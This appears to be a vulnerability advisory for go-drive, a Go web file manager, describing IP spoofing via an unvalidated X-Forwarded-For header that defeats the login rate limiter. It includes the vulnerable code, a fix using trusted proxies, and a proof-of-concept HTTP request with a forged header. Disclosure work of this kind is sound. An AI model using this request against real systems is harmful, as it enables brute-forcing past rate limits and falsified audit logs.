Product Overview
go-drive is an open-source web-based file management application written in Go and hosted on GitHub. The project provides a lightweight web interface that allows users to manage and access multiple storage backends through a unified system.
It supports various storage drivers, including local file systems, FTP/SFTP, WebDAV, S3-compatible object storage, OneDrive, and Google Drive. The application offers features such as file upload and download, drag-and-drop support, directory management, image preview, text/code editing, permission control, and WebDAV access. The project is distributed under the MIT License.
Vulnerability Description
Attackers can spoof arbitrary client IP addresses, leading to unreliable IP-based logging and auditing, as well as bypass of IP-based rate limiting and abuse prevention mechanisms.
Affected Versions
<=Release v0.11.7
Vulnerability Analysis
The vulnerability is located in the LimiterByIP function, specifically at the call to ctx.ClientIP(), where the client IP address is obtained directly,According to the official Gin documentation, trusted proxies must be properly configured, otherwise ClientIP() becomes vulnerable to IP spoofing:
func (f *FailBanGroup) LimiterByIP(path string, duration time.Duration, maxFailure uint32) gin.HandlerFunc {
return f.Limiter(path, duration, maxFailure, func(ctx *gin.Context) string {
ip := ctx.ClientIP()
if utils.IsDebugOn {
ctx.Header("X-ClientIP", ip)
}
return ip
})
}
It is recommended to explicitly configure trusted proxies in the code to prevent this issue, as documented here: https://gin-gonic.com/en/docs/deployment/
router := gin.Default()
router.SetTrustedProxies([]string{"192.168.1.1/24"})
Proof of Concept (PoC)
By modifying the HTTP request and injecting an arbitrary X-Forwarded-For header, the client IP can be spoofed. In this example, the IP is set to 8.8.8.8:
POST /auth/init HTTP/1.1
Host: 127.0.0.1:8089
Content-Length: 0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
X-Forwarded-For: 8.8.8.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Checking the logs confirms that the IP address was successfully spoofed:
docker logs go-drive
